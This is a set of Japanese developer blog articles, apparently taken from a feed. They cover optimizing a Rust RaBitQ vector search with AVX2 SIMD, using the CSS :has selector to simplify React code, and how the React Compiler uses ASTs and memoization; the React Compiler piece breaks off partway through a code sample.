を好みます。後者は現在のCPUが対応するすべてのCPU機能を有効化しますが、バイナリ互換性が失われます。現時点では、特定の環境でのみ使用するため問題ではないと考えています。以下のセクションでも、AVX2機能を有効化するためにこの環境変数が必要になります。
CPUの機能は以下のコマンドを使用することで確認できます。
rustc --print=cfg -C target-cpu=native | rg target_feature
最近傍探索において重要な関数は距離関数であり、この場合はユークリッド距離です。通常は、平方根の計算を避けるためにL2二乗距離を使用します。単純な実装は以下のようになります。
{
y.sub_to(x, &mut residual);
residual.norm_squared()
}
プロファイリングの後、f32::clone()
がまだ残っていることに気づきました。nalgebra
のソースコードを確認してみると、何らかの理由により多数のclone
がありました。そこで、SIMDを手書きすることにしました。幸い、hnswlib(人気のHNSW実装)がすでにこれを実装しています。
これにより、距離の計算においてf32::clone()
がなくなり、SIFTでQPSが28%改善します。コミット5f82fccをご覧ください。
筆者のCPUはAVX512に対応していないため、AVX2バージョンを使用しています。Steamでハードウェアの統計データを確認できますが、「Other Settings」にSIMDのサポートが記載されています。100%のユーザーがSSE3に対応し、94.61%のユーザーがAVX2に対応していますが、AVX512Fに対応しているユーザーは13.06%に過ぎません。当然この統計データは偏っており、ほとんどのクラウドIntel CPUはAVX512に対応しています。ゲームプレイヤーがすべてのユーザーを代表することはできません。
SIMDを使用する上で非常に役立つガイドとしてIntel Intrinsics Guideが挙げられます。オンラインだと使い勝手が良くないため、サイトをダウンロードすることをおすすめします。組み込み関数の「レイテンシ」と「スループット」は必ず確認してください。そうしないと、通常のバージョンよりもコードが遅くなる場合があります。
x86 Intrinsics Cheat Sheetというリソースもあります。こちらは筆者のような初心者が使いやすい内容になっています。
@ashvardanianが、テール要素問題を解決する「マスクロード」(AVX512が必要)に関する記事を投稿しています。
コードを他のプラットフォームでも実行できるようにするには、以下を行います。
rust
#[cfg(any(target_arch = "x86_64", target_arch = "x86"))]
{
if is_x86_feature_detected!("avx2") {
// AVX2 version
} else {
// normal version
}
}
SIMD向けにより良いcfgを書くのに役立つクレートがいくつかありますが、今のところは複雑にせず、シンプルにしておきましょう。
SIMDは金槌のようなものなので、今度はコードの中の「釘」をもっと見つける必要があります。
コミットf114fc1でAVX2を使用してbinarize_vector
関数を書き換えたところ、GistのQPSが32%改善した
元のC++版に比べて、この実装も分岐がありません。opt-level=3
を有効化すると、コンパイラによってこれを最適化することができます。アセンブリをご覧ください。
@andrewaylett pointed out that opt-level=3 can optimize this
opt-level=3でこれを最適化できると@andrewaylettが指摘
- let shift = if (i / 32) % 2 == 0 { 32 } else { 0 };
+ let shift = ((i >> 5) & 1) << 5; // opposite version because I store the binary in u64 with different endian from the C++ version
-let shift = if (i / 32) % 2 == 0 { 32 } else { 0 };
+let shift = ((i >> 5) & 1) << 5; // C++版とは異なるエンディアンを使用してバイナリをu64に格納するため、逆バージョン
@NovaX first pointed out that it's equivalent to i & 32, which is more readable.
より可読性に優れたi & 32と同等であると、@NovaXが最初に指摘
コード内のf32::clone()
を減らすため、筆者はもっと多くのnalgebra
関数を手動で実装することにしました。min
およびmax
関数が最も一般的なものです。nalgebra
バージョンは以下のようになります。
let lower_bound = residual.min();
let upper_bound = residual.max();
これは以下により行います。
fn min_max(vec: &[f32]) -> (f32, f32) {
let mut min = f32::MAX;
let mut max = f32::MIN;
for v in vec.iter() {
if *v < min {
min = *v;
}
if *v > max {
max = *v;
}
}
(min, max)
}
以前は便利なのでf32::min()
とf32::max()
を使用していましたが、昇順/降順以外のベクトルについてはif
の方がパフォーマンスが優れています。
次のようにメソッドチェーンでベクトルに対して処理を数回繰り返し実行し、複数のイテレーションでの集計によりスカラー量子化を計算する代わりに、
let y_scaled = residual.add_scalar(-lower_bound) * one_over_delta + &self.rand_bias;
let y_quantized = y_scaled.map(|v| v.to_u8().expect("convert to u8 error"));
let scalar_sum = y_quantized.iter().fold(0u32, |acc, &v| acc + v as u32);
1回のループでこれを実行できます。
{
let mut sum = 0u32;
for i in 0..vec.len() {
let q = ((vec[i] - lower_bound) * multiplier + bias[i]) as u8;
quantized[i] = q;
sum += q as u32;
}
sum
}
スカラー量子化については、f32
をu8
に変換できることは分かっているため、to_u8().unwrap()
の代わりにas u8
を使用できます。
コミットaf39c1cおよびコミットd2d51b0は、GistのQPSを31%改善しました。
以下の部分もSIMDで書き換えることができ、これによりGistのQPSが12%改善します。
tr_mulをベクトル射影であるSIMDに置き換えることも試してみました。ここでは、nalgebra
がBLASを使用することが判明したため、パフォーマンスは変わりません。
f32::clone()
の問題について調べている際に、faerという新たなRust代数クレートを見つけました。多数のSIMDにより最適化されており、行と列のイテレーションパフォーマンスを向上させます。QR分解もnalgebraよりかなり高速です。こちらのコミット0411821はトレーニング部分を高速化します。
また、コミット0d969bd以降はColRef
やRowRef
ラッパーなしでこれらのベクトルを通常のスライスとして使用できます。
最初からfaerを使っていれば、多くのトラブルを回避できていたでしょう。いずれにせよ、この経験から多くを学びました。
バイナリ内積についてはpopcntがすでに解決済みと思っていましたが、FlameGraphによると、count_ones()
の呼び出しがbinary_dot_product
の実行時間に占める割合は7%にすぎないようです。AVX512にはvpopcntq
命令がありますが、AVX2シミュレーションの方が一般的なので、筆者はこちらを使用しています。
こちらはAVX2を用いたpopcnt実装の良い参考になります。コミットedabd4aはこれをRustで再実装したもので、GistのQPSを11%改善します。この裏技は、ベクトルに256以上の項目がある場合しかうまくいきません。つまり、バイナリ表現に256ビット必要ということです。
#[inline]属性は慎重に使う必要があります。この属性をすべてのSIMD関数に追加することで、GistのQPSが5%改善します。
ここで少し背景情報を追加する必要があります。
現行の実装は、k平均法を用いてベクトルのクラスタリングを行い、セントロイドをメモリに格納するIVFアルゴリズムがベースになっています。クエリベクトルは、l2_squared_distance(query, centroid)
がより小さいクラスタとしか比較されません。
探索する最近傍クラスタの数を制御するn_probe
というパラメータがあります。n_probe
の値が大きいと再現率は上がりますが、QPSは下がります。
RaBitQは、バイナリ内積を使用しておおよその距離を推定します。しきい値よりも小さい場合は元のL2二乗距離と同じランキングにリランキングし、それとともにしきい値を更新します。
筆者は以前、n最近傍を選択するだけで並べ替えを行わないslice::select_nth_unstable
を使用していました。クエリから遠いクラスタを探索するとリランキング率が上がり、L2二乗距離の計算が増えます。選択したn番目のクラスタを並べ替えることで、GistのQPSが4%改善しました。
別の裏技として、各クラスタのベクトルをセントロイドまでの距離順に並び替える方法もあります。こちらのコミットea13ebcも、GistのQPSを4%改善しました。
各ベクトルのおおよその距離の推定に使用するメタデータがいくつかあります。
以前、筆者は4つのVec<f32>
を使用してこれらのメタデータを格納していましたが、計算を行う際にはそれぞれにvector[i]
が必要なため、IOには適していませんでした。コミットbb440e3でこれらを一つのstructに組み合わせることで、GistのQPSが2.5%改善しました。これは4xf32であるためうまく行き、そのためC表現を直接使用することができます。
#[derive(Debug, Clone, Copy, Default, Serialize, Deserialize)]
#[repr(C)]
struct Factor {
factor_ip: f32,
factor_ppc: f32,
error_bound: f32,
center_distance_square: f32,
}
残念ながら、faer
はu64ベクトルに対応していません。したがって、ベクトルのバイナリ表現をVec<Vec<u64>>
に格納する必要があります。コミット48236b2でこれをVec<u64>
に変更することで、GistのQPSが2%改善しました。
C++版は、テンプレートを使用して異なる項目のコードを生成します。この機能はRustにもありますが、異なる項目用のコードの再コンパイルは、少数の固定された項目しかない会社の中など、特定のユースケースでしか行えない可能性があるため、筆者は試してみませんでした。公開ライブラリでは、ユーザーが自ら再コンパイルする必要がないよう、一般解を提供する方が良いでしょう。
bounds-check-cookbookでは、safe Rustで境界チェックを無くす方法の例をいくつか紹介しています。
筆者はPGOとBOLTを試してみましたが、改善は得られませんでした。
jemallocやmimallocに変えてもパフォーマンスは改善しません。
データセットGistを使用したパフォーマンスは、現時点ではC++版と同じです。筆者はSIMDをより頻繁に使用しますが、C++版はconst genericsを使用しています。
この著作物のライセンスは、Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Licenseに基づいて付与されています。
CSSの新しい:hasセレクタと、これを使用したReactコードの改善方法について説明します。実用的で美しい例とともに。
大昔、とは言ってもCSSが出てきた当初の話ですが、CSSはカスケードする仕組みになっていると教えられていました。それは、Cascading Style Sheetsという名前からも分かります。CSSでは、入れ子のように要素の中の要素を指定し、さらにその中に含まれる要素を指定していくことができます。しかし、その逆はできません。したがって、子要素が親要素にスタイルを適用するには、JavaScriptを使うしかありませんでした。
今までは。
すべての主要ブラウザがCSSの:hasセレクタに対応したことで、親要素を指定できるようになりました。それだけではありません。これは世界が一変したと言えるほどの出来事です。筆者のように、要素の角を丸くするために透過GIFを使用していた時代からウェブ開発を行っている読者の方は、これによって広がる可能性に圧倒されるでしょう。
これを使ってぜひ色々と遊んでみていただきたいと思いますが、Reactの世界では実際にどのような実用的用途があるのでしょうか。ここでは特に注目すべき用途を3つ紹介したいと思います。
従来のCSSでは、以下のようなことができます。
.content .card {
background: #f0f0f0;
}
.content img {
margin: 1rem 0;
}
これにより、.content
要素に含まれる.card
要素の背景が薄いグレーに変わり、中の画像に余白が追加されます。そうすることで、画像とテキストが視覚的に区別されます。
また、隣の兄弟を+
または~
結合子で指定することができます。例えば、上記の画像が.card
要素のすぐ後にくる場合、より見やすくするために余白をさらに追加するとよいでしょう。
// images that immediately follow a card element
// will have bigger margins than other images
.content .card + img {
margin: 2rem 0;
}
しかし、最近まで「逆」方向に要素を指定することができませんでした。例えば、すぐ後に画像が続く.card
要素の背景を変えたい場合、JavaScriptを使うしか方法がありませんでした。同様に、中に画像が含まれる場合に.card
要素のスタイルを変えることもできませんでした。
新しいCSSセレクタ:has
は、この問題を解決します。
例えば、中に画像が含まれる.card
要素にはピンク色の枠を使用し、それ以外の.card
要素にはグレーの枠を使用するといったことも簡単にできます。
// all the cards will have grey top borders
.card {
border-top: 10px solid #f6f7f6;
}
// cards with images inside will have pink borders
.card:has(img) {
border-top: 10px solid #fee6ec;
}
:has
セレクタを他のセレクタと組み合わせて使用することもできます。すぐ後に画像が続くカードには青い枠を付けてみましょう。その場合は+
結合子で条件を追加します。
// if a card has an image as a next element - give it a blue border
.card:has(+ img) {
border-top: 10px solid #c4f4ff;
}
もっと複雑なコードを書くこともできます。h3タグを含まず、img
タグを含み、別の.card
要素がすぐ後に続き、それより後にimg
タグがある.card
要素の背景を、複数の画像を含むカードが後に続く場合に限り緑色にしてみましょう。
// have fun reading that ;)
.card:not(:has(h3)):has(img):has(+ .card):has(~ img):has(~ .card):has(> img:nth-child(1)) {
background-color: #c3dcd0;
}
以下が実装例になります。
しかし、Reactアプリでこのようなことがしたいでしょうか。こうしたスタイルは、子セレクタと同様に要素の境界が曖昧になりがちです。ここ10年くらい、そうならないようにするための方法を色々と工夫して編み出してきたのではなかったでしょうか。BEM、SASS、CSS-in-JS、CSSモジュールなどなど。スタイルの適用範囲を意図した要素にのみ限定するために、私たちはあらゆる手段を講じます。
では、突如その流れに逆行し、あらゆるベストプラクティスと逆のことをする理由はどこにあるのでしょうか。もちろん、Reactでは数年置きにそうした傾向が見られるのはありますが😅
答えは、複雑なReactコードを不要にするためです。最高のReactコードは、Reactコードを一切使わないことである場合もあるのです。先ほどは極めて複雑なセレクタの例をお見せしましたが(まね 真似することはお勧めしません)、ReactをCSSに置き換えることでロジックを単純化することができ、若干パフォーマンスを改善できる場合もあります。
ではいくつか実例を見てみましょう。
タスクボードを実装したいとします。ボード上には多数のカードがあり、各カードにはそれぞれ「開く」と「削除」の2つのボタンがあります。「開く」ボタンをクリックすると、カードの内容がすべてモーダル上に開きます。「削除」をクリックするとカードが削除されます。
このカードのコードは非常にシンプルです。
<div className="card">
Some text here
<div className="buttons">
<button>
<Open />
</button>
<button>
<Delete />
</button>
</div>
</div>
Tabキーを使ってボタンに移動するなど、キーボードで操作可能にしたいと思います。さらに、キーボードユーザーの利便性を改善するため、どのボタンが選択されているかが分かるようにしたいと思います。ユーザーがTabキーを使っていずれかのボタンに移動したら、カードが少し「飛び出す」ようにし、同じ列の他のカードはグレーアウトさせます。さらに、アクティブ状態のカードの枠の色を変え、現在アクティブな操作が分かるようにしたいと思います。「削除」ボタンには赤、「開く」ボタンには緑を使用します。
Reactでこの機能を実装するには、focusイベントリスナーを追加し、現在アクティブなボタンを検知し、カード自体のclassNamesを変更できるようstateを維持し、他のカードも変更できるようそのstateをどうにかして親と共有する必要があります。そのためには、Contextなどの状態管理ソリューションを導入する必要があるでしょう。気が付けば、すべてのタブのすべてのカードを再レンダリングする本格的なフォーカスマネージャーを実装しなくてはならなくなっているでしょう。実際にこのような凝ったインタラクションを見かけないのも無理はありません。せいぜいボタンの輪郭線に一貫性をもたせることぐらいしか望めないでしょう。
しかし、:has
セレクタを使えば今述べたようなことも比較的簡単に実装できます。
ステップ1。className
に頼らなくても選択できるよう、data-
属性をボタンに割り当てます。
// add data-action attributes to the buttons
<button data-action="open">
<Open />
</button>
<button data-action="delete">
<Delete />
</button>
ステップ2。フォーカスされた「削除」ボタンを含むカードを見つけ、CSSを変えます。
// make the card "pop" and change its border colors
// if the "delete" button inside the card is focused
.card:has([data-action='delete']:focus-visible) {
border-top: 10px solid #f7bccb;
box-shadow: 0 0 0 2px #f7bccb;
transform: scale(1.02);
}
ステップ3。フォーカスされた「開く」ボタンを含むカードを見つけ、CSSを変えます。
// make the card "pop" and change its border colors
// if the "open" button inside the card is focused
.card:has([data-action='open']:focus-visible) {
transform: scale(1.02);
border-top: 10px solid #c3dccf;
box-shadow: 0 0 0 2px #c3dccf;
}
ステップ4。これが一番難しい処理になります。フォーカスされた「開く」または「削除」ボタンを含むカードの「前後」のカードをすべて見つけ、グレーアウトする必要があります。魔法の種明かしはこちらです。
// all cards after the card with focused "open" button
.card:has([data-action='open']:focus-visible) ~ .card,
// all cards after the card with focused "delete" button
.card:has([data-action='delete']:focus-visible) ~ .card,
// all cards before the card with focused "open" button
.card:has(~ .card [data-action='open']:focus-visible),
// all cards before the card with focused "delete" button
.card:has(~ .card [data-action='delete']:focus-visible) {
filter: greyscale();
background-color: #f6f7f6;
}
JavaScriptもReactの再レンダリングも一切必要としない、どのボードよりも美しいキーボード操作を実現できました。以下の実例を触ってみてください。
in all the boards ever with zero JavaScript and zero React re-renders! A live example is below to play around with.
:hasセレクタとカテゴリ分け
もう一つ、:has
セレクタのユースケースとして筆者がシンプルで秀逸だと思うのが、データに基づいて要素を色分けできる点です。
例えば、ショップで販売している商品を記載した表を実装してみましょう。これらの商品は、特定のカテゴリに分類されます。オンラインショップで事務用品、衣類、馬を販売しているとしましょう。表にはいくつかの列があり、最もシンプルな形にまとめたものが以下になります。
これをコードにすると、以下のようになります。
...
<tr>
<td>Socks</td>
<td>Created by...</td>
<td>Inventory full</td>
<td>
<span className="category">
clothes
</span>
</td>
</tr>
...
では、表の左側境界線にカテゴリを示す色を付けることで、各行のカテゴリを色分けしたいと思います。また、在庫切れの商品については、行の背景を赤く色付けすることで目立たせたいと思います。これを実装したものが以下になります。
Reactでは、propsを使用し、カテゴリや在庫に関する情報を少なくともrow
タグ、あるいは最初のセルに渡す必要があります。さらに、バリエーションごとにクラス名や、場合によっては内部コンポーネントを作成する必要があります。この例では、こうした複雑な処理は一切不要です。
では、一連の流れを見てみましょう。
ステップ1。情報を格納したdata-
属性を、すでにその情報を持っているセルに追加します。
<tr>
<td>Socks</td>
<td>Created by...</td>
<!-- add data-inventory attribute here -->
<td data-inventory="full">Inventory full</td>
<td>
<!-- add data-category attribute here -->
<span className="category" data-category="clothes">
clothes
</span>
</td>
</tr>
ステップ2。:has
を使用し、必要なカテゴリを色分けします。
data-category
を持つ要素を含む行の最初のセルに、カテゴリによって異なる色の境界線を追加します。
.table tr:has([data-category='clothes']) td:first-child {
border-left: 6px solid #f7bccb;
}
.table tr:has([data-category='office']) td:first-child {
border-left: 6px solid #f4d592;
}
.table tr:has([data-category='animals']) td:first-child {
border-left: 6px solid #c4f4ff;
}
data-inventory
の値がempty
の要素を含む行には、赤色の背景を追加します。
.table tr:has([data-inventory='empty']) {
background: #f6d0ce;
}
美しく色分けされた表の出来上がりです。この表で特に素晴らしいのが、動的な状態にあり頻繁に更新される属性であっても、行全体を再レンダリングして色を更新する必要がない点です。再レンダリングされるのはdata-
属性を含むセルだけです。よりシンプルで洗練されたコードに加え、この点も若干パフォーマンスの向上に寄与する可能性があります。
以下のインタラクティブな例をご覧ください。
次が今回紹介する:has
セレクタの最後のユースケースです。フォーム要素の状態に応じて要素のスタイリングを行うというものですが、これが大変効果的で筆者も非常に気に入っています。
例えば、入力を無効にできるフォームにおいて、入力欄のラベル表示や説明も視覚的に「無効」にすることができます。
このフォームを記述したコードが以下になります。
<form className="form">
<fieldset>
<label htmlFor="form-name">Name</label>
<input type="text" name="name" id="form-name" disabled value="Nadia" />
<div className="description">Just your first name is fine</div>
</fieldset>
<fieldset>
<label htmlFor="form-email">Email Address</label>
<input type="email" name="email" id="form-email" required />
<div className="description">We don't accept gmail domains!</div>
</fieldset>
</form>
CSSでは、stateが:disabled
の入力を含むfieldset
を指定し、label
要素と.description
要素のスタイリングを行います。
fieldset:has(input:disabled) label,
fieldset:has(input:disabled) .description {
color: #d6d6d6;
}
もちろん、フォーカスも使用できます。入力がフォーカスされると左側に線が表示されるようにしたい場合、
次のようにするだけです。
fieldset:has(input:focus-visible) {
border-left: 10px solid #c4f4ff;
}
もしくは、チェックボックス付きのリストを実装する場合、チェックされた行を強調表示するには通常ならチェックボックスのstateを格納し、.active
クラスを作成しますが、こうした処理を行うことなく簡単に強調表示することが可能です。
必要なのはCSSセレクタだけです。
.list-with-checkboxes li:has(input:checked) { background: rgba(196, 244, 255, 0.3); }
こちらのライブプレビューをご覧ください。
素晴らしいと思いませんか?お気に入りの:has
の使い方がある方は、ぜひコメントで共有してください!
もちろん、セレクタを使用してReactコードを単純化する方法は他にもたくさんあります。ここに挙げたのは、筆者が特に気に入っているごく一部の例にすぎません。:has
セレクタについてもっと学び、色んな実例を試してみたい方は、例が豊富で内容的にも良い記事を以下に挙げていますので、ぜひ参照してみてください。
ここ数年のCSSの進歩を考えると、5年後くらいにはReactが必要なくなっているかもしれません。🤯もしそうなれば面白いですね!
]]>Reactのコアアーキテクチャは、与えられた関数(すなわちコンポーネント)を繰り返し呼び出します。この仕組みはReactのメンタルモデルを単純化し、その人気に一役を買いましたが、同時にパフォーマンスの問題が生じる原因にもなりました。関数のパフォーマンスコストが高いと、アプリの動作は総じて遅くなります。
開発者はReactにどの関数をいつ再実行するか手動で指示しなくてはならなかったため、パフォーマンスチューニングが悩みの種になっていました。Reactチームが最近リリースしたReact Compilerというツールは、コードを書き直すことにより、開発者が手動で行っていたパフォーマンスチューニングの作業を自動化します。
React Compilerはコードに何をするのでしょうか?裏ではどのような処理が行われるのでしょうか?使った方がいいのでしょうか?こうした疑問について詳しく見ていきたいと思います。
Reactの内部実装について詳しく学び、完全で正確なメンタルモデルを得たい方は、Understanding Reactという筆者の新しいコースでReactのソースコードを掘り下げて説明していますので、ぜひチェックしてみてください。Reactの使用経験が豊富な開発者でも、内部実装の理解を深めることは大いに役立ちます。
モダンJavaScriptのエコシステムでは、コンパイラ、トランスパイラ、オプティマイザという用語がよく聞かれます。これらは何でしょうか?
トランスパイラとは、コードを解析し、同等の機能を持つコードを別のプログラミング言語で出力するか、調整を加えたコードを同じプログラミング言語で出力するプログラムです。
React開発者は何年も前からトランスパイラを使用し、JSXをJavaScriptエンジンが実際に実行するコードに変換してきました。JSXは、基本的にはネストされた関数のツリー(これらはネストされたオブジェクトツリーを構築)を作成するための省略記法です。
ネストされた関数を記述するのは面倒でミスが生じやすいため、JSXは開発者を大いに助けます。トランスパイラはJSXを解析し、関数に変換するために必要です。
例えば、JSXを使用して次のReactコードを記述したとします。
読みやすさに配慮し、このブログ記事ではコードはすべて大幅に簡略化しています。
function App() {
return <Item item={item} />;
}
function Item({ item }) {
return (
<ul>
<li>{ item.desc }</li>
</ul>
)
}
これをトランスパイルすると、次のようになります。
function App() {
return _jsx(Item, {
item: item
});
}
function Item({ item }) {
return _jsx("ul", {
children: _jsx("li", {
children: item.desc
})
});
}
こちらが実際にブラウザに送られるコードです。HTMLのような構文ではなく、Reactでは「props」と呼ばれるプレーンなJavaScriptオブジェクトを渡す、ネストされた関数です。
トランスパイルの結果は、JSX内でif文を簡単に使用できない理由を示しています。関数内ではif文を使用できません。
Babelを使用すればJSXを素早くトランスパイルし、出力結果を確認できます。
では、トランスパイラとコンパイラの違いは何でしょうか? その答えは、回答者のバックグラウンドや経験によって異なるでしょう。コンピューターサイエンス分野を歩んできた人であれば、大抵はコンパイラと言えば記述したコードを機械語(プロセッサが理解できるバイナリコード)に変換するプログラムという認識だと思います。
しかし、トランスパイラは「source-to-source compilers」とも呼ばれます。オプティマイザは「最適化コンパイラ」とも呼ばれます。つまり、トランスパイラとオプティマイザもコンパイラの一種なのです。
物事に名前を付けるのは簡単ではありません。したがって、何をもってトランスパイラ、コンパイラ、あるいはオプティマイザと呼ぶのかについては意見の相違があるでしょう。理解すべき重要な点は、トランスパイラも、コンパイラも、オプティマイザも、コードが記述されたテキストファイルを解析し、同等の機能を持つ別のコードを新しいテキストファイルに出力するプログラムだということです。コードを改良する場合もあれば、別の人が書いたコードを呼び出すコールで自分のコードの一部をラップすることで、新しい機能を追加する場合もあります。
トランスパイラ、コンパイラ、オプティマイザは、コードが記述されたテキストファイルを解析し、同等の機能を持つ別のコードを出力するプログラムです。
React Compilerが行うのは後者です。あなたが書いたコードと同等の機能を持つコードを作成しますが、他のReact開発者が書いたコードを呼び出すコールであなたのコードの一部をラップします。そうすることで、あなたが意図したことに加え、プラスアルファの機能を備えたコードに書き換えます。その「プラスアルファ」が何かについては後ほど説明します。
ここで言うコードの「解析」とは、コードを1文字ずつ構文解析し、アルゴリズムを実行することで、コードをどう調整し、書き換えるか、どのようにして機能を追加するかなどを明らかにすることを言います。通常、構文解析の結果は抽象構文木(AST)として出力されます。
そう言うと仰々しく聞こえますが、要はコードを分析しやすいようツリー構造で表したものです。
例えば、次の1行がコードに含まれていたとします。
const item = { id: 0, desc: 'Hi' };
これを抽象構文木で表すと、次のようになります。
{
type: VariableDeclarator,
id: {
type: Identifier,
name: Item
},
init: {
type: ObjectExpression,
properties: [
{
type: ObjectProperty,
key: id,
value: 0
},
{
type: ObjectProperty,
key: desc,
value: 'Hi'
}
]
}
}
生成されたデータ構造は、あなたが書いたコードを定義付けされた要素ごとに分解して説明します。各要素には、それがどういったものかを表す情報や、ひも付けされている値があればその値が含まれます。例えば、desc: 'Hi'
はObjectProperty
であり、'desc'という key
と'Hi'というvalue
がひも付けされています。
これが、トランスパイラやコンパイラなどがコードに対して行う処理について考える上でのメンタルモデルです。いずれも、あなたが書いたコード(テキストそのもの)をデータ構造に変換し、解析し、調整するために作成されたプログラムです。
最終的に生成されるコードはこのASTがもとになり、おそらくその他にもいくつかの中間言語が関与します。このデータ構造を繰り返し使用し、テキストを出力します(同じ言語で書かれた新しいコード、違う言語で書かれたコード、あるいは何らかの調整が加えられたコード)。
React Compilerは、ASTと中間言語の両方を使用し、あなたが書いたコードをもとに新しいReactコードを生成します。React自体がそうですが、React Compilerも「誰かが書いたコード」だということを忘れないでください。
コンパイラやトランスパイラ、オプティマイザなどのツールを謎めいたブラックボックスだとは考えないでください。時間さえあれば、自分にも作れるものだと考えましょう。
React Compilerについて話す前に、明確にしておくべき概念があといくつかあります。
Reactのコアアーキテクチャがその人気の源泉であると同時に、パフォーマンスの問題の原因にもなり得ることはお話したかと思います。JSXを書く際、実際にはネストされた関数を記述しているのだということは説明した通りです。しかし、関数はReactに渡され、それをいつ呼び出すかはReactが判断します。
多数のアイテムを扱うReactアプリの最初の部分を例に見てみましょう。App
関数はいくつかのアイテムを取得し、List
関数はそれらを処理して表示すると仮定します。
function App() {
// TODO: fetch some items here
return <List items={items} />;
}
function List({ items }) {
const pItems = processItems(items);
const listItems = pItems.map((item) => <li>{ item }</li>);
return (
<ul>{ listItems }</ul>
)
}
これらの関数は、子(ここでは最終的に複数のliオブジェクトになる)を含むulオブジェクトのようなプレーンなJavaScriptオブジェクトを返します。ulやliなどの一部のオブジェクトはReactに組み込まれています。Listなど、それ以外のオブジェクトは自分で作成します。
最終的に、Reactはこれらすべてのオブジェクトを使ってFiberツリーと呼ばれるものを構築します。ツリーの各ノードはFiber、またはFiberノードと呼ばれます。UIを説明するためにJavaScriptオブジェクトからなる独自のノードツリーを作成することを、「仮想DOM」を作成すると言います。
Reactでは、ツリーの各ノードから枝分かれする2本の枝があります。1つは"current"(DOMと一致)、もう1つは"work-in-progress"(関数を再実行した際に返された内容をもとに構築したツリーと一致)の枝(ツリー)です。
Reactはこれら2つのツリーを比較した上で、DOMがwork-in-progress側のツリーと一致するように実際のDOMに対して行う変更を判断します。このプロセスを「差分検出処理(reconciliation)」と呼びます。
したがって、他にどのような機能をアプリに追加するかによっては、ReactはUIの更新が必要だと判断するたびにList
関数を繰り返し呼び出すかもしれません。そうするとメンタルモデルはかなり分かりやすくなります。UIの更新が必要な場合(例えば、ユーザーがボタンをクリックした場合など)、UIを定義する関数が再び呼び出され、Reactは関数が定義するUIの外観と一致するように、ブラウザ上で実際のDOMをどう更新するかを判断します。
しかし、processItems
関数が遅いと、List
を呼び出すコールも遅くなり、アプリ全体の反応が遅くなってしまいます。
パフォーマンスコストの高い関数を繰り返し呼び出す必要がある場合、プログラミングによる解決策として、関数の結果をキャッシュします。このプロセスを「メモ化」と呼びます。
メモ化が機能するためには、関数が「純粋」でなくてはなりません。つまり、関数に同じ入力値を渡した場合、毎回同じ出力が得られなくてはならないということです。出力が毎回同じであれば、入力値と関連付けた形で出力を保存することができます。
次にそのパフォーマンスコストの高い関数を呼び出した際には、入力値を見て、同じ入力値の関数をすでに実行済みかをキャッシュで確認します。すでに実行していれば、再度その関数を呼び出すのではなく、キャッシュに保存された出力を取得します。前回その入力値が使用されたときと出力が同じであることが分かっているので、再度関数を呼び出す必要はありません。
前述のコード例で使用したprocessItems
関数がメモ化を実装した場合、次のようになります。
function processItems(items) {
const memOutput = getItemsOutput(items);
if (memOutput) {
return memOutput;
} else {
// ...run expensive processing
saveItemsOutput(items, output);
return output;
}
}
saveItemsOutput
関数は、アイテムと、この関数と関連する出力の両方を保存するオブジェクトを格納するものだと考えてください。getItemsOutput
は、item
がすでに保存されているかを確認し、保存されていればそれ以上の作業は行わず、キャッシュに保存された関連する出力を返します。
関数を繰り返し呼び出すReactのアーキテクチャにとって、メモ化はアプリの動作が遅くならないようにするための重要な技術です。
React Compilerを理解するために理解する必要のあるReactのアーキテクチャがもう1つあります。
アプリの「state」(UIの作成に必要なデータ)が変わると、Reactは再度関数を呼び出す必要があるか判断します。例えば、値がtrueかfalseである"showButton"というデータの場合、このデータの値に応じて、UIはボタンを表示するか、非表示にする必要があります。
Reactはクライアントのデバイス上にstateを保存します。どうやって保存するのでしょうか。いくつかのアイテムをレンダリングし、操作するReactアプリを例に見てみましょう。最終的に選択されたアイテムを保存し、アイテムをクライアント側でレンダリングし、イベントを処理し、リストをソートすると仮定します。アプリは次のようになります。
function App() {
// TODO: fetch some items here
return <List items={items} />;
}
function List({ items }) {
const [selItem, setSelItem] = useState(null);
const [itemEvent, dispatcher] = useReducer(reducer, {});
const [sort, setSort] = useState(0);
const pItems = processItems(items);
const listItems = pItems.map((item) => <li>{ item }</li>);
return (
<ul>{ listItems }</ul>
)
}
JavaScriptエンジンがuseState
とuseReducer
の行を実行した際、何が起きるでしょうか。List
コンポーネントをもとに作成したFiberツリーのノードには、データを保存するためのJavaScriptオブジェクトがいくつか追加されています。各オブジェクトは互いに連結し、連結リストと呼ばれるデータ構造になっています。
多くの開発者は、useState
がReactにおけるstate管理の肝だと考えていますが、そうではありません。これは単に、useReducer
を呼び出すコールのラッパーです。
useState
とuseReducer
を呼び出すと、ReactはstateをFiberツリーに付け加え、アプリが実行されている間、これらは保持されます。したがって、関数が繰り返し再実行される間、stateはいつでも利用できる状態にあります。
Hooksの保存方法は、Hooksをループまたはif文の中で呼び出せないという「Hooksのルール」の説明にもなります。Hooksを呼び出すたびに、Reactは連結リストの次のアイテムに移動します。したがって、Hooksを呼び出す回数は一貫している必要があります。一貫していないと、Reactは連結リストの中の間違ったアイテムを指す場合があります。
結局、Hooksはユーザーデバイスのメモリ上にデータ(および関数)を保存するオブジェクトに過ぎないのです。これは、React Compilerが実際に行う処理を理解する上で重要です。ただし、それだけではありません。
Reactは、メモ化の概念とHooksの保存の概念を組み合わせています。Fiberツリーの一部であり、Reactに渡すすべての関数(List
など)の結果をメモ化することも、それらの中で呼び出す個別の関数(processItems
など)をメモ化することもできます。
キャッシュは、stateと同じようにFiberツリー上に保存されます。例えば、useMemo
はuseMemo
を呼び出すノード上に入力値と出力を保存します。
つまり、Reactにはパフォーマンスコストの高い関数の結果を、Fiberツリーの一部であるJavaScriptオブジェクトの連結リストに保存するという概念がすでに備わっているということです。これは素晴らしいことですが、1つ問題があります。メンテナンスです。
Reactにおけるメモ化は、メモ化が依存する入力値を明示的にReactに伝える必要があるため、面倒です。processItems
を呼び出すコールは次のようになります。
const pItems = useMemo(processItems(items), [items]);
最後の配列は「依存関係」のリスト、すなわち変更されたらReactに再度関数を呼び出すよう指示する入力値です。これらの入力値が正しくないと、メモ化は正しく機能しません。事務的な雑務として維持し続ける必要があります。
ここでReact Compilerの登場です。React Compilerは、Reactコードのテキストを解析し、JSXのトランスパイルを行うための準備ができた新しいコードを生成するプログラムです。ただし、その新しいコードには追加された要素があります。
この場合、React Compilerがアプリに対してどのような処理を行うのか見てみましょう。以下はコンパイル前の状態です。
function App() {
// TODO: fetch some items here
return <List items={items} />;
}
function List({ items }) {
const [selItem, setSelItem] = useState(null);
const [itemEvent, dispatcher] = useReducer(reducer, {});
const [sort, setSort] = useState(0);
const pItems = processItems(items);
